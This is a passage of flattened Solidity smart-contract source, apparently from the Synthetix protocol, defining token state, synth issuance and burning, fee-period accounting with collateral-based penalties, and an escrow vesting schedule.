_; } modifier optionalProxy_onlyOwner { if (Proxy(msg.sender) != proxy) { messageSender = msg.sender; } require(messageSender == owner, "This action can only be performed by the owner"); _; } event ProxyUpdated(address proxyAddress); } contract SelfDestructible is Owned { uint public initiationTime; bool public selfDestructInitiated; address public selfDestructBeneficiary; uint public constant SELFDESTRUCT_DELAY = 4 weeks; constructor(address _owner) Owned(_owner) public { require(_owner != address(0), "Owner must not be the zero address"); selfDestructBeneficiary = _owner; emit SelfDestructBeneficiaryUpdated(_owner); } function setSelfDestructBeneficiary(address _beneficiary) external onlyOwner { require(_beneficiary != address(0), "Beneficiary must not be the zero address"); selfDestructBeneficiary = _beneficiary; emit SelfDestructBeneficiaryUpdated(_beneficiary); } function initiateSelfDestruct() external onlyOwner { initiationTime = now; selfDestructInitiated = true; emit SelfDestructInitiated(SELFDESTRUCT_DELAY); } function terminateSelfDestruct() external onlyOwner { initiationTime = 0; selfDestructInitiated = false; emit SelfDestructTerminated(); } function selfDestruct() external onlyOwner { require(selfDestructInitiated, "Self destruct has not yet been initiated"); require(initiationTime + SELFDESTRUCT_DELAY < now, "Self destruct delay has not yet elapsed"); address beneficiary = selfDestructBeneficiary; emit SelfDestructed(beneficiary); selfdestruct(beneficiary); } event SelfDestructTerminated(); event SelfDestructed(address beneficiary); event SelfDestructInitiated(uint selfDestructDelay); event SelfDestructBeneficiaryUpdated(address newBeneficiary); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } library SafeDecimalMath { using SafeMath for uint; uint8 public constant decimals = 18; uint8 public constant highPrecisionDecimals = 27; uint public constant UNIT = 10 ** uint(decimals); uint public constant PRECISE_UNIT = 10 ** uint(highPrecisionDecimals); uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10 ** uint(highPrecisionDecimals - decimals); function unit() external pure returns (uint) { return UNIT; } function preciseUnit() external pure returns (uint) { return PRECISE_UNIT; } function multiplyDecimal(uint x, uint y) internal pure returns (uint) { return x.mul(y) / UNIT; } function _multiplyDecimalRound(uint x, uint y, uint precisionUnit) private pure returns (uint) { uint quotientTimesTen = x.mul(y) / (precisionUnit / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } function multiplyDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, PRECISE_UNIT); } function multiplyDecimalRound(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, UNIT); } function divideDecimal(uint x, uint y) internal pure returns (uint) { return x.mul(UNIT).div(y); } function _divideDecimalRound(uint x, uint y, uint precisionUnit) private pure returns (uint) { uint resultTimesTen = x.mul(precisionUnit * 10).div(y); if (resultTimesTen % 10 >= 5) { resultTimesTen += 10; } return resultTimesTen / 10; } function divideDecimalRound(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, UNIT); } function divideDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, PRECISE_UNIT); } function decimalToPreciseDecimal(uint i) internal pure returns (uint) { return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR); } function preciseDecimalToDecimal(uint i) internal pure returns (uint) { uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } } contract State is Owned { address public associatedContract; constructor(address _owner, address _associatedContract) Owned(_owner) public { associatedContract = _associatedContract; emit AssociatedContractUpdated(_associatedContract); } function setAssociatedContract(address _associatedContract) external onlyOwner { associatedContract = _associatedContract; emit AssociatedContractUpdated(_associatedContract); } modifier onlyAssociatedContract { require(msg.sender == associatedContract, "Only the associated contract can perform this action"); _; } event AssociatedContractUpdated(address associatedContract); } contract TokenState is State { mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; constructor(address _owner, address _associatedContract) State(_owner, _associatedContract) public {} function setAllowance(address tokenOwner, address spender, uint value) external onlyAssociatedContract { allowance[tokenOwner][spender] = value; } function setBalanceOf(address account, uint value) external onlyAssociatedContract { balanceOf[account] = value; } } contract ReentrancyPreventer { bool isInFunctionBody = false; modifier preventReentrancy { require(!isInFunctionBody, "Reverted to prevent reentrancy"); isInFunctionBody = true; _; isInFunctionBody = false; } } contract TokenFallbackCaller is ReentrancyPreventer { function callTokenFallbackIfNeeded(address sender, address recipient, uint amount, bytes data) internal preventReentrancy { uint length; assembly { length := extcodesize(recipient) } if (length > 0) { recipient.call(abi.encodeWithSignature("tokenFallback(address,uint256,bytes)", sender, amount, data)); } } } contract ExternStateToken is SelfDestructible, Proxyable, TokenFallbackCaller { using SafeMath for uint; using SafeDecimalMath for uint; TokenState public tokenState; string public name; string public symbol; uint public totalSupply; uint8 public decimals; constructor(address _proxy, TokenState _tokenState, string _name, string _symbol, uint _totalSupply, uint8 _decimals, address _owner) SelfDestructible(_owner) Proxyable(_proxy, _owner) public { tokenState = _tokenState; name = _name; symbol = _symbol; totalSupply = _totalSupply; decimals = _decimals; } function allowance(address owner, address spender) public view returns (uint) { return tokenState.allowance(owner, spender); } function balanceOf(address account) public view returns (uint) { return tokenState.balanceOf(account); } function setTokenState(TokenState _tokenState) external optionalProxy_onlyOwner { tokenState = _tokenState; emitTokenStateUpdated(_tokenState); } function _internalTransfer(address from, address to, uint value, bytes data) internal returns (bool) { require(to != address(0), "Cannot transfer to the 0 address"); require(to != address(this), "Cannot transfer to the underlying contract"); require(to != address(proxy), "Cannot transfer to the proxy contract"); tokenState.setBalanceOf(from, tokenState.balanceOf(from).sub(value)); tokenState.setBalanceOf(to, tokenState.balanceOf(to).add(value)); callTokenFallbackIfNeeded(from, to, value, data); emitTransfer(from, to, value); return true; } function _transfer_byProxy(address from, address to, uint value, bytes data) internal returns (bool) { return _internalTransfer(from, to, value, data); } function _transferFrom_byProxy(address sender, address from, address to, uint value, bytes data) internal returns (bool) { tokenState.setAllowance(from, sender, tokenState.allowance(from, sender).sub(value)); return _internalTransfer(from, to, value, data); } function approve(address spender, uint value) public optionalProxy returns (bool) { address sender = messageSender; tokenState.setAllowance(sender, spender, value); emitApproval(sender, spender, value); return true; } event Transfer(address indexed from, address indexed to, uint value); bytes32 constant TRANSFER_SIG = keccak256("Transfer(address,address,uint256)"); function emitTransfer(address from, address to, uint value) internal { proxy._emit(abi.encode(value), 3, TRANSFER_SIG, bytes32(from), bytes32(to), 0); } event Approval(address indexed owner, address indexed spender, uint value); bytes32 constant APPROVAL_SIG = keccak256("Approval(address,address,uint256)"); function emitApproval(address owner, address spender, uint value) internal { proxy._emit(abi.encode(value), 3, APPROVAL_SIG, bytes32(owner), bytes32(spender), 0); } event TokenStateUpdated(address newTokenState); bytes32 constant TOKENSTATEUPDATED_SIG = keccak256("TokenStateUpdated(address)"); function emitTokenStateUpdated(address newTokenState) internal { proxy._emit(abi.encode(newTokenState), 1, TOKENSTATEUPDATED_SIG, 0, 0, 0); } } contract Synth is ExternStateToken { FeePool public feePool; Synthetix public synthetix; bytes4 public currencyKey; uint8 constant DECIMALS = 18; constructor(address _proxy, TokenState _tokenState, Synthetix _synthetix, FeePool _feePool, string _tokenName, string _tokenSymbol, address _owner, bytes4 _currencyKey ) ExternStateToken(_proxy, _tokenState, _tokenName, _tokenSymbol, 0, DECIMALS, _owner) public { require(_proxy != 0, "_proxy cannot be 0"); require(address(_synthetix) != 0, "_synthetix cannot be 0"); require(address(_feePool) != 0, "_feePool cannot be 0"); require(_owner != 0, "_owner cannot be 0"); require(_synthetix.synths(_currencyKey) == Synth(0), "Currency key is already in use"); feePool = _feePool; synthetix = _synthetix; currencyKey = _currencyKey; } function setSynthetix(Synthetix _synthetix) external optionalProxy_onlyOwner { synthetix = _synthetix; emitSynthetixUpdated(_synthetix); } function setFeePool(FeePool _feePool) external optionalProxy_onlyOwner { feePool = _feePool; emitFeePoolUpdated(_feePool); } function transfer(address to, uint value) public optionalProxy notFeeAddress(messageSender) returns (bool) { uint amountReceived = feePool.amountReceivedFromTransfer(value); uint fee = value.sub(amountReceived); synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee); bytes memory empty; return _internalTransfer(messageSender, to, amountReceived, empty); } function transfer(address to, uint value, bytes data) public optionalProxy notFeeAddress(messageSender) returns (bool) { uint amountReceived = feePool.amountReceivedFromTransfer(value); uint fee = value.sub(amountReceived); synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee); return _internalTransfer(messageSender, to, amountReceived, data); } function transferFrom(address from, address to, uint value) public optionalProxy notFeeAddress(from) returns (bool) { uint amountReceived = feePool.amountReceivedFromTransfer(value); uint fee = value.sub(amountReceived); tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value)); synthetix.synthInitiatedFeePayment(from, currencyKey, fee); bytes memory empty; return _internalTransfer(from, to, amountReceived, empty); } function transferFrom(address from, address to, uint value, bytes data) public optionalProxy notFeeAddress(from) returns (bool) { uint amountReceived = feePool.amountReceivedFromTransfer(value); uint fee = value.sub(amountReceived); tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value)); synthetix.synthInitiatedFeePayment(from, currencyKey, fee); return _internalTransfer(from, to, amountReceived, data); } function transferSenderPaysFee(address to, uint value) public optionalProxy notFeeAddress(messageSender) returns (bool) { uint fee = feePool.transferFeeIncurred(value); synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee); bytes memory empty; return _internalTransfer(messageSender, to, value, empty); } function transferSenderPaysFee(address to, uint value, bytes data) public optionalProxy notFeeAddress(messageSender) returns (bool) { uint fee = feePool.transferFeeIncurred(value); synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee); return _internalTransfer(messageSender, to, value, data); } function transferFromSenderPaysFee(address from, address to, uint value) public optionalProxy notFeeAddress(from) returns (bool) { uint fee = feePool.transferFeeIncurred(value); tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee))); synthetix.synthInitiatedFeePayment(from, currencyKey, fee); bytes memory empty; return _internalTransfer(from, to, value, empty); } function transferFromSenderPaysFee(address from, address to, uint value, bytes data) public optionalProxy notFeeAddress(from) returns (bool) { uint fee = feePool.transferFeeIncurred(value); tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee))); synthetix.synthInitiatedFeePayment(from, currencyKey, fee); return _internalTransfer(from, to, value, data); } function _internalTransfer(address from, address to, uint value, bytes data) internal returns (bool) { bytes4 preferredCurrencyKey = synthetix.synthetixState().preferredCurrency(to); if (preferredCurrencyKey != 0 && preferredCurrencyKey != currencyKey) { return synthetix.synthInitiatedExchange(from, currencyKey, value, preferredCurrencyKey, to); } else { return super._internalTransfer(from, to, value, data); } } function issue(address account, uint amount) external onlySynthetixOrFeePool { tokenState.setBalanceOf(account, tokenState.balanceOf(account).add(amount)); totalSupply = totalSupply.add(amount); emitTransfer(address(0), account, amount); emitIssued(account, amount); } function burn(address account, uint amount) external onlySynthetixOrFeePool { tokenState.setBalanceOf(account, tokenState.balanceOf(account).sub(amount)); totalSupply = totalSupply.sub(amount); emitTransfer(account, address(0), amount); emitBurned(account, amount); } function triggerTokenFallbackIfNeeded(address sender, address recipient, uint amount) external onlySynthetixOrFeePool { bytes memory empty; callTokenFallbackIfNeeded(sender, recipient, amount, empty); } modifier onlySynthetixOrFeePool() { bool isSynthetix = msg.sender == address(synthetix); bool isFeePool = msg.sender == address(feePool); require(isSynthetix || isFeePool, "Only the Synthetix or FeePool contracts can perform this action"); _; } modifier notFeeAddress(address account) { require(account != feePool.FEE_ADDRESS(), "Cannot perform this action with the fee address"); _; } event SynthetixUpdated(address newSynthetix); bytes32 constant SYNTHETIXUPDATED_SIG = keccak256("SynthetixUpdated(address)"); function emitSynthetixUpdated(address newSynthetix) internal { proxy._emit(abi.encode(newSynthetix), 1, SYNTHETIXUPDATED_SIG, 0, 0, 0); } event FeePoolUpdated(address newFeePool); bytes32 constant FEEPOOLUPDATED_SIG = keccak256("FeePoolUpdated(address)"); function emitFeePoolUpdated(address newFeePool) internal { proxy._emit(abi.encode(newFeePool), 1, FEEPOOLUPDATED_SIG, 0, 0, 0); } event Issued(address indexed account, uint value); bytes32 constant ISSUED_SIG = keccak256("Issued(address,uint256)"); function emitIssued(address account, uint value) internal { proxy._emit(abi.encode(value), 2, ISSUED_SIG, bytes32(account), 0, 0); } event Burned(address indexed account, uint value); bytes32 constant BURNED_SIG = keccak256("Burned(address,uint256)"); function emitBurned(address account, uint value) internal { proxy._emit(abi.encode(value), 2, BURNED_SIG, bytes32(account), 0, 0); } } contract FeePool is Proxyable, SelfDestructible { using SafeMath for uint; using SafeDecimalMath for uint; Synthetix public synthetix; uint public transferFeeRate; uint constant public MAX_TRANSFER_FEE_RATE = SafeDecimalMath.unit() / 10; uint public exchangeFeeRate; uint constant public MAX_EXCHANGE_FEE_RATE = SafeDecimalMath.unit() / 10; address public feeAuthority; address public constant FEE_ADDRESS = 0xfeEFEEfeefEeFeefEEFEEfEeFeefEEFeeFEEFEeF; struct FeePeriod { uint feePeriodId; uint startingDebtIndex; uint startTime; uint feesToDistribute; uint feesClaimed; } uint8 constant public FEE_PERIOD_LENGTH = 6; FeePeriod[FEE_PERIOD_LENGTH] public recentFeePeriods; uint public nextFeePeriodId; uint public feePeriodDuration = 1 weeks; uint public constant MIN_FEE_PERIOD_DURATION = 1 days; uint public constant MAX_FEE_PERIOD_DURATION = 60 days; mapping(address => uint) public lastFeeWithdrawal; uint constant TWENTY_PERCENT = (20 * SafeDecimalMath.unit()) / 100; uint constant TWENTY_FIVE_PERCENT = (25 * SafeDecimalMath.unit()) / 100; uint constant THIRTY_PERCENT = (30 * SafeDecimalMath.unit()) / 100; uint constant FOURTY_PERCENT = (40 * SafeDecimalMath.unit()) / 100; uint constant FIFTY_PERCENT = (50 * SafeDecimalMath.unit()) / 100; uint constant SEVENTY_FIVE_PERCENT = (75 * SafeDecimalMath.unit()) / 100; constructor(address _proxy, address _owner, Synthetix _synthetix, address _feeAuthority, uint _transferFeeRate, uint _exchangeFeeRate) SelfDestructible(_owner) Proxyable(_proxy, _owner) public { require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE, "Constructed transfer fee rate should respect the maximum fee rate"); require(_exchangeFeeRate <= MAX_EXCHANGE_FEE_RATE, "Constructed exchange fee rate should respect the maximum fee rate"); synthetix = _synthetix; feeAuthority = _feeAuthority; transferFeeRate = _transferFeeRate; exchangeFeeRate = _exchangeFeeRate; recentFeePeriods[0].feePeriodId = 1; recentFeePeriods[0].startTime = now; nextFeePeriodId = 2; } function setExchangeFeeRate(uint _exchangeFeeRate) external optionalProxy_onlyOwner { require(_exchangeFeeRate <= MAX_EXCHANGE_FEE_RATE, "Exchange fee rate must be below MAX_EXCHANGE_FEE_RATE"); exchangeFeeRate = _exchangeFeeRate; emitExchangeFeeUpdated(_exchangeFeeRate); } function setTransferFeeRate(uint _transferFeeRate) external optionalProxy_onlyOwner { require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE, "Transfer fee rate must be below MAX_TRANSFER_FEE_RATE"); transferFeeRate = _transferFeeRate; emitTransferFeeUpdated(_transferFeeRate); } function setFeeAuthority(address _feeAuthority) external optionalProxy_onlyOwner { feeAuthority = _feeAuthority; emitFeeAuthorityUpdated(_feeAuthority); } function setFeePeriodDuration(uint _feePeriodDuration) external optionalProxy_onlyOwner { require(_feePeriodDuration >= MIN_FEE_PERIOD_DURATION, "New fee period cannot be less than minimum fee period duration"); require(_feePeriodDuration <= MAX_FEE_PERIOD_DURATION, "New fee period cannot be greater than maximum fee period duration"); feePeriodDuration = _feePeriodDuration; emitFeePeriodDurationUpdated(_feePeriodDuration); } function setSynthetix(Synthetix _synthetix) external optionalProxy_onlyOwner { require(address(_synthetix) != address(0), "New Synthetix must be non-zero"); synthetix = _synthetix; emitSynthetixUpdated(_synthetix); } function feePaid(bytes4 currencyKey, uint amount) external onlySynthetix { uint xdrAmount = synthetix.effectiveValue(currencyKey, amount, "XDR"); recentFeePeriods[0].feesToDistribute = recentFeePeriods[0].feesToDistribute.add(xdrAmount); } function closeCurrentFeePeriod() external onlyFeeAuthority { require(recentFeePeriods[0].startTime <= (now - feePeriodDuration), "It is too early to close the current fee period"); FeePeriod memory secondLastFeePeriod = recentFeePeriods[FEE_PERIOD_LENGTH - 2]; FeePeriod memory lastFeePeriod = recentFeePeriods[FEE_PERIOD_LENGTH - 1]; recentFeePeriods[FEE_PERIOD_LENGTH - 2].feesToDistribute = lastFeePeriod.feesToDistribute .sub(lastFeePeriod.feesClaimed) .add(secondLastFeePeriod.feesToDistribute); for (uint i = FEE_PERIOD_LENGTH - 2; i < FEE_PERIOD_LENGTH; i--) { uint next = i + 1; recentFeePeriods[next].feePeriodId = recentFeePeriods[i].feePeriodId; recentFeePeriods[next].startingDebtIndex = recentFeePeriods[i].startingDebtIndex; recentFeePeriods[next].startTime = recentFeePeriods[i].startTime; recentFeePeriods[next].feesToDistribute = recentFeePeriods[i].feesToDistribute; recentFeePeriods[next].feesClaimed = recentFeePeriods[i].feesClaimed; } delete recentFeePeriods[0]; recentFeePeriods[0].feePeriodId = nextFeePeriodId; recentFeePeriods[0].startingDebtIndex = synthetix.synthetixState().debtLedgerLength(); recentFeePeriods[0].startTime = now; nextFeePeriodId = nextFeePeriodId.add(1); emitFeePeriodClosed(recentFeePeriods[1].feePeriodId); } function claimFees(bytes4 currencyKey) external optionalProxy returns (bool) { uint availableFees = feesAvailable(messageSender, "XDR"); require(availableFees > 0, "No fees available for period, or fees already claimed"); lastFeeWithdrawal[messageSender] = recentFeePeriods[1].feePeriodId; _recordFeePayment(availableFees); _payFees(messageSender, availableFees, currencyKey); emitFeesClaimed(messageSender, availableFees); return true; } function _recordFeePayment(uint xdrAmount) internal { uint remainingToAllocate = xdrAmount; for (uint i = FEE_PERIOD_LENGTH - 1; i < FEE_PERIOD_LENGTH; i--) { uint delta = recentFeePeriods[i].feesToDistribute.sub(recentFeePeriods[i].feesClaimed); if (delta > 0) { uint amountInPeriod = delta < remainingToAllocate ? delta : remainingToAllocate; recentFeePeriods[i].feesClaimed = recentFeePeriods[i].feesClaimed.add(amountInPeriod); remainingToAllocate = remainingToAllocate.sub(amountInPeriod); if (remainingToAllocate == 0) return; } } assert(remainingToAllocate == 0); } function _payFees(address account, uint xdrAmount, bytes4 destinationCurrencyKey) internal notFeeAddress(account) { require(account != address(0), "Account can't be 0"); require(account != address(this), "Can't send fees to fee pool"); require(account != address(proxy), "Can't send fees to proxy"); require(account != address(synthetix), "Can't send fees to synthetix"); Synth xdrSynth = synthetix.synths("XDR"); Synth destinationSynth = synthetix.synths(destinationCurrencyKey); xdrSynth.burn(FEE_ADDRESS, xdrAmount); uint destinationAmount = synthetix.effectiveValue("XDR", xdrAmount, destinationCurrencyKey); destinationSynth.issue(account, destinationAmount); destinationSynth.triggerTokenFallbackIfNeeded(FEE_ADDRESS, account, destinationAmount); } function transferFeeIncurred(uint value) public view returns (uint) { return value.multiplyDecimal(transferFeeRate); } function transferredAmountToReceive(uint value) external view returns (uint) { return value.add(transferFeeIncurred(value)); } function amountReceivedFromTransfer(uint value) external view returns (uint) { return value.divideDecimal(transferFeeRate.add(SafeDecimalMath.unit())); } function exchangeFeeIncurred(uint value) public view returns (uint) { return value.multiplyDecimal(exchangeFeeRate); } function exchangedAmountToReceive(uint value) external view returns (uint) { return value.add(exchangeFeeIncurred(value)); } function amountReceivedFromExchange(uint value) external view returns (uint) { return value.divideDecimal(exchangeFeeRate.add(SafeDecimalMath.unit())); } function totalFeesAvailable(bytes4 currencyKey) external view returns (uint) { uint totalFees = 0; for (uint i = 1; i < FEE_PERIOD_LENGTH; i++) { totalFees = totalFees.add(recentFeePeriods[i].feesToDistribute); totalFees = totalFees.sub(recentFeePeriods[i].feesClaimed); } return synthetix.effectiveValue("XDR", totalFees, currencyKey); } function feesAvailable(address account, bytes4 currencyKey) public view returns (uint) { uint[FEE_PERIOD_LENGTH] memory userFees = feesByPeriod(account); uint totalFees = 0; for (uint i = 1; i < FEE_PERIOD_LENGTH; i++) { totalFees = totalFees.add(userFees[i]); } return synthetix.effectiveValue("XDR", totalFees, currencyKey); } function currentPenalty(address account) public view returns (uint) { uint ratio = synthetix.collateralisationRatio(account); if (ratio <= TWENTY_PERCENT) { return 0; } else if (ratio > TWENTY_PERCENT && ratio <= THIRTY_PERCENT) { return TWENTY_FIVE_PERCENT; } else if (ratio > THIRTY_PERCENT && ratio <= FOURTY_PERCENT) { return FIFTY_PERCENT; } return SEVENTY_FIVE_PERCENT; } function feesByPeriod(address account) public view returns (uint[FEE_PERIOD_LENGTH]) { uint[FEE_PERIOD_LENGTH] memory result; uint initialDebtOwnership; uint debtEntryIndex; (initialDebtOwnership, debtEntryIndex) = synthetix.synthetixState().issuanceData(account); if (initialDebtOwnership == 0) return result; uint totalSynths = synthetix.totalIssuedSynths("XDR"); if (totalSynths == 0) return result; uint debtBalance = synthetix.debtBalanceOf(account, "XDR"); uint userOwnershipPercentage = debtBalance.divideDecimal(totalSynths); uint penalty = currentPenalty(account); for (uint i = 0; i < FEE_PERIOD_LENGTH; i++) { if (recentFeePeriods[i].startingDebtIndex > debtEntryIndex && lastFeeWithdrawal[account] < recentFeePeriods[i].feePeriodId) { uint feesFromPeriodWithoutPenalty = recentFeePeriods[i].feesToDistribute .multiplyDecimal(userOwnershipPercentage); uint penaltyFromPeriod = feesFromPeriodWithoutPenalty.multiplyDecimal(penalty); uint feesFromPeriod = feesFromPeriodWithoutPenalty.sub(penaltyFromPeriod); result[i] = feesFromPeriod; } } return result; } modifier onlyFeeAuthority { require(msg.sender == feeAuthority, "Only the fee authority can perform this action"); _; } modifier onlySynthetix { require(msg.sender == address(synthetix), "Only the synthetix contract can perform this action"); _; } modifier notFeeAddress(address account) { require(account != FEE_ADDRESS, "Fee address not allowed"); _; } event TransferFeeUpdated(uint newFeeRate); bytes32 constant TRANSFERFEEUPDATED_SIG = keccak256("TransferFeeUpdated(uint256)"); function emitTransferFeeUpdated(uint newFeeRate) internal { proxy._emit(abi.encode(newFeeRate), 1, TRANSFERFEEUPDATED_SIG, 0, 0, 0); } event ExchangeFeeUpdated(uint newFeeRate); bytes32 constant EXCHANGEFEEUPDATED_SIG = keccak256("ExchangeFeeUpdated(uint256)"); function emitExchangeFeeUpdated(uint newFeeRate) internal { proxy._emit(abi.encode(newFeeRate), 1, EXCHANGEFEEUPDATED_SIG, 0, 0, 0); } event FeePeriodDurationUpdated(uint newFeePeriodDuration); bytes32 constant FEEPERIODDURATIONUPDATED_SIG = keccak256("FeePeriodDurationUpdated(uint256)"); function emitFeePeriodDurationUpdated(uint newFeePeriodDuration) internal { proxy._emit(abi.encode(newFeePeriodDuration), 1, FEEPERIODDURATIONUPDATED_SIG, 0, 0, 0); } event FeeAuthorityUpdated(address newFeeAuthority); bytes32 constant FEEAUTHORITYUPDATED_SIG = keccak256("FeeAuthorityUpdated(address)"); function emitFeeAuthorityUpdated(address newFeeAuthority) internal { proxy._emit(abi.encode(newFeeAuthority), 1, FEEAUTHORITYUPDATED_SIG, 0, 0, 0); } event FeePeriodClosed(uint feePeriodId); bytes32 constant FEEPERIODCLOSED_SIG = keccak256("FeePeriodClosed(uint256)"); function emitFeePeriodClosed(uint feePeriodId) internal { proxy._emit(abi.encode(feePeriodId), 1, FEEPERIODCLOSED_SIG, 0, 0, 0); } event FeesClaimed(address account, uint xdrAmount); bytes32 constant FEESCLAIMED_SIG = keccak256("FeesClaimed(address,uint256)"); function emitFeesClaimed(address account, uint xdrAmount) internal { proxy._emit(abi.encode(account, xdrAmount), 1, FEESCLAIMED_SIG, 0, 0, 0); } event SynthetixUpdated(address newSynthetix); bytes32 constant SYNTHETIXUPDATED_SIG = keccak256("SynthetixUpdated(address)"); function emitSynthetixUpdated(address newSynthetix) internal { proxy._emit(abi.encode(newSynthetix), 1, SYNTHETIXUPDATED_SIG, 0, 0, 0); } } contract LimitedSetup { uint setupExpiryTime; constructor(uint setupDuration) public { setupExpiryTime = now + setupDuration; } modifier onlyDuringSetup { require(now < setupExpiryTime, "Can only perform this action during setup"); _; } } contract SynthetixEscrow is Owned, LimitedSetup(8 weeks) { using SafeMath for uint; Synthetix public synthetix; mapping(address => uint[2][]) public vestingSchedules; mapping(address => uint) public totalVestedAccountBalance; uint public totalVestedBalance; uint constant TIME_INDEX = 0; uint constant QUANTITY_INDEX = 1; uint constant MAX_VESTING_ENTRIES = 20; constructor(address _owner, Synthetix _synthetix) Owned(_owner) public { synthetix = _synthetix; } function setSynthetix(Synthetix _synthetix) external onlyOwner { synthetix = _synthetix; emit SynthetixUpdated(_synthetix); } function balanceOf(address account) public view returns (uint) { return totalVestedAccountBalance[account]; } function numVestingEntries(address account) public view returns (uint) { return vestingSchedules[account].length; } function getVestingScheduleEntry(address account, uint index) public view returns (uint[2]) { return vestingSchedules[account][index]; } function getVestingTime(address account, uint index) public view returns (uint) { return getVestingScheduleEntry(account,index)[TIME_INDEX]; } function getVestingQuantity(address account, uint index) public view returns (uint) { return getVestingScheduleEntry(account,index)[QUANTITY_INDEX]; } function getNextVestingIndex(address account) public view returns (uint) { uint len = numVestingEntries(account); for (uint i = 0; i < len; i++) { if (getVestingTime(account, i) != 0) { return i; } } return len; } function getNextVestingEntry(address account) public view returns (uint[2]) { uint index = getNextVestingIndex(account); if (index == numVestingEntries(account)) { return [uint(0), 0]; } return getVestingScheduleEntry(account, index); } function getNextVestingTime(address account) external view returns (uint) { return getNextVestingEntry(account)[TIME_INDEX]; } function getNextVestingQuantity(address account) external view returns (uint) { return getNextVestingEntry(account)[QUANTITY_INDEX]; } function withdrawSynthetix(uint quantity) external onlyOwner onlyDuringSetup { synthetix.transfer(synthetix, quantity); } function purgeAccount(address account) external onlyOwner onlyDuringSetup { delete vestingSchedules[account]; totalVestedBalance = totalVestedBalance.sub(totalVestedAccountBalance[account]); delete totalVestedAccountBalance[account]; } function appendVestingEntry(address account, uint time, uint quantity) public onlyOwner onlyDuringSetup { require(now < time, "Time must be in the future"); require(quantity != 0, "Quantity cannot be zero"); totalVestedBalance = totalVestedBalance.add(quantity); require(totalVestedBalance <= synthetix.balanceOf(this), "Must be enough balance in the contract to provide for the vesting entry"); uint scheduleLength = vestingSchedules[account].length; require(scheduleLength <= MAX_VESTING_ENTRIES, "Vesting schedule is too long"); if (scheduleLength == 0) { totalVestedAccountBalance[account] = quantity; } else { require(getVestingTime(account, numVestingEntries(account) - 1) < time, "Cannot add new vested entries earlier than the last one"); totalVestedAccountBalance[account] = totalVestedAccountBalance[account].add(quantity); } vestingSchedules[account].push([time, quantity]); } function addVestingSchedule(address account, uint[] times, uint[] quantities) external onlyOwner onlyDuringSetup { for (uint i = 0; i < times.length; i++) { appendVestingEntry(account, times[i], quantities[i]); } } function vest() external { uint numEntries = numVestingEntries(msg.sender); uint total; for (uint i = 0; i < numEntries; i++) { uint time = getVestingTime(msg.sender, i); if (time > now) { break; } uint qty = getVestingQuantity(msg.sender, i); if (qty == 0) { continue; } vestingSchedules[msg.sender][i] = [0, 0]; total = total.add(qty); } if (total != 0) { totalVestedBalance = totalVestedBalance.sub(total); totalVestedAccountBalance[msg.sender] = totalVestedAccountBalance[msg.sender].sub(total); synthetix.transfer(msg.sender, total); emit Vested(msg.sender, now, total); } } event SynthetixUpdated(address newSynthetix); event Vested(address indexed beneficiary, uint time, uint value); } contract SynthetixState is State, LimitedSetup { using SafeMath for uint; using SafeDecimalMath for uint; struct IssuanceData { uint initialDebtOwnership; uint debtEntryIndex; } mapping(address => IssuanceData) public issuanceData; uint public totalIssuerCount; uint[] public debtLedger; uint public issuanceRatio = SafeDecimalMath.unit() / 5; uint constant MAX_ISSUANCE_RATIO = SafeDecimalMath.unit(); mapping(address => bytes4) public preferredCurrency; constructor(address _owner, address _associatedContract) State(_owner, _associatedContract) LimitedSetup(1 weeks) public {} function setCurrentIssuanceData(address account, uint initialDebtOwnership) external onlyAssociatedContract { issuanceData[account].initialDebtOwnership = initialDebtOwnership; issuanceData[account].debtEntryIndex = debtLedger.length; } function clearIssuanceData(address account) external onlyAssociatedContract { delete issuanceData[account]; } function incrementTotalIssuerCount() external onlyAssociatedContract { totalIssuerCount = totalIssuerCount.add(1); } function decrementTotalIssuerCount() external onlyAssociatedContract { totalIssuerCount = totalIssuerCount.sub(1); } function appendDebtLedgerValue(uint value) external onlyAssociatedContract { debtLedger.push(value); } function setPreferredCurrency(address account, bytes4 currencyKey) external onlyAssociatedContract { preferredCurrency[account] = currencyKey; } function setIssuanceRatio(uint _issuanceRatio) external onlyOwner { require(_issuanceRatio <= MAX_ISSUANCE_RATIO, "New issuance ratio cannot exceed MAX_ISSUANCE_RATIO"); issuanceRatio = _issuanceRatio; emit IssuanceRatioUpdated(_issuanceRatio); } function importIssuerData(address[] accounts, uint[] sUSDAmounts) external onlyOwner onlyDuringSetup { require(accounts.length == sUSDAmounts.length, "Length mismatch"); for (uint8 i = 0; i < accounts.length; i++) { _addToDebtRegister(accounts[i], sUSDAmounts[i]); } } function _addToDebtRegister(address account, uint amount) internal { Synthetix synthetix = Synthetix(associatedContract); uint xdrValue = synthetix.effectiveValue("sUSD", amount, "XDR"); uint totalDebtIssued = 